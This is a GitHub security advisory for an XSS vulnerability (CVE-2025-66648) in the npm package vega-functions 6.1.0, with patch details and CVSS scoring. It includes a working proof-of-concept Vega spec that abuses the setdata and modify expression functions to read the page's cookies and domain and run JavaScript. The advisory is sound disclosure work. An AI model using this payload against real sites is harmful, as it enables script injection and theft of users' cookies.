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XSS in `vega-functions` via `setdata` function

High
hydrosquall published GHSA-m9rg-mr6g-75gm Jan 5, 2026

Package

npm vega-functions (npm)

Affected versions

6.1.0

Patched versions

6.1.1

Description

Impact

For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).

Patches

Fixed in vega-functions 6.1.1

Workarounds

There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.

Exploit Proof of Concept

Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:

{
  "$schema": "https://vega.github.io/schema/vega/v6.json",
  "data": [
    {
      "name": "table",
      "values": [
        {"category": "A", "amount": 28}
      ]
    }
  ],
  "signals": [
    {
      "name": "tooltip",
      "value": {},
      "on": [
        {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
        {"events": "rect:pointerout",  "update": "{}"}
      ]
    }
  ]
}

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CVE ID

CVE-2025-66648

Weaknesses

No CWEs

Credits